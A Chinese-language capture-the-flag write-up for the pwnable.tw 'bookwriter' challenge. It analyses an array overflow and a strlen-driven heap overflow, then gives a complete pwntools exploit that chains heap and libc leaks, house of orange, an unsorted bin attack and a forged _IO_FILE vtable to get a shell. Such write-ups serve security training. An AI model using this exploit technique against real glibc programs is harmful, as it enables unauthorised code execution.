程序&初步分析
程序会先向 bss 段中读取 0x40 字节的 author 信息:
存放 chunk ptr 和 size 的列表在其正下方:
看 add 功能中:
chunk_list 只有可以存放 8 个指针大小的内存,而 add 中 if 的判断条件显然可以多申请一个 chunk,而 size_list 紧随其后,可以溢出到此处。然后就是正常的读入数据。
view 功能正常,可以利用其泄漏 libc。
edit 功能存在一处漏洞:
这里首先通过先前存放的 size 进行读入数据,然后通过 strlen 函数重新计算长度,并更新。strlen 函数遇见 “\x00” 才会停止,并且不将 “\x00” 算入长度。,这里同样想到前面 add 功能中可以通过溢出修改 size [0] 为一个堆地址,则可以实现足够长度的堆溢出。
info 功能通过 printf 进行打印:
因为存放 author 信息的内存和 chunk_list 紧挨,且不会在输入后添 0,所以通过该功能即可泄漏 heap_addr。
没有 free 功能,考虑 house of orange。
利用限制和条件
- add 时 size 大小无限制
- 通过数组越界实现几乎无限的堆溢出
- 可泄漏 heap_addr、libc_addr
- 可以 edit chunk
- 无 free 功能
利用思路
由于没有 free 功能,所以考虑 house of orange,其结果是将 old chunk 放入 unsorted bin,而程序又有堆溢出可以修改到 unsorted bin 的 bk,所以继续结合 unsorted bin attack,unsorted bin attack 一个主要写堆地址的地方就是 _IO_list_all,完成 FSOP,通过 libc 2.23 下伪造 vtable 的方式,执行 system("/bin/sh\x00")。所以本题就采用这个思路。
注意到 info 功能中调用了 scanf 函数,此时其内部会申请一个 0x1000 大小的 chunk,利用这个机制,便可以将 old chunk 放入 unsorted bin 的同时泄漏 libc。
然后就是注意 add 第 9 个 chunk 前先将 #0 edit 为空,以通过 add 时的条件。
伪造的 fake_IO 如下:
满足条件后将 fp 置为 “/bin/sh\x00”,伪造 fake_vtable 指向 system 函数前,使 system 函数相对 vtable 的地址和 _IO_overflow 相对 vtable 的地址一样,最终执行 IO_overflow(fp, EOF) 时执行的即是 system("/bin/sh\x00"),本题的布置手法学自该文章。
完整exp
from pwn import *
import sys
context.log_level = "debug"
elf = ELF("./bookwriter")
if sys.argv[1] == "p":
p = process("./bookwriter")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = elf.libc
else:
p = remote("chall.pwnable.tw", 10304)
libc = ELF("./libc_64.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
DEBUG = 0
if DEBUG:
gdb.attach(p,
'''
b *0x08048935
c
''')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
# if sys.argv[1] == "process":
# one_gadget = libc_base + 0xf02a4
# else:
# one_gadget = libc_base + 0xef6c4
menu = "Your choice :"
def cmd(idx):
ru(menu)
sl(str(idx))
def add(size, content):
cmd(1)
ru("Size of page :")
sl(str(size))
ru("Content :")
se(content)
def view(idx):
cmd(2)
ru("Index of page :")
sl(str(idx))
def edit(idx, content):
cmd(3)
ru("Index of page :")
sl(str(idx))
ru("Content:")
se(content)
def info1():
cmd(4)
author = "a"*(0x40-0x2) + "||"
ru("Author :")
se(author)
add(0x28, "0") # 0
edit(0, 0x28 * 'a')
edit(0, 0x28 * 'a' + '\xd1\x0f\x00')
info1() #info
ru("||")
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00")) - 0x10 # 直接接收 8 字节
print("heap_base:", hex(heap_base))
sla("(yes:1 / no:0)", "0\n")
edit(0, '\x00') # size[0] = 0
for i in range(8):
add(0x28, 'a'*8)
view(2)
ru("aaaaaaaa")
libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
system = libc_base + libc.symbols['system']
IO_list_all = libc_base + libc.symbols["_IO_list_all"]
# # IO_str_jumps = libc_base + libc.symbols["_IO_str_jumps"]
# # IO_str_jumps = libc_base + 0x3c37a0
pl = '\x00' * 0x1a0
fake_IO_file = "/bin/sh\x00" + p64(0x61) + p64(libc_base) + p64(IO_list_all - 0x10)
fake_IO_file += p64(2)+p64(3)+p64(0)*9+p64(system) + p64(0)*11 + p64(heap_base+0x210)
pl += fake_IO_file
edit(0, pl)
sleep(0.5)
cmd(1)
ru("Size of page :")
sl(str(0x10))
ia()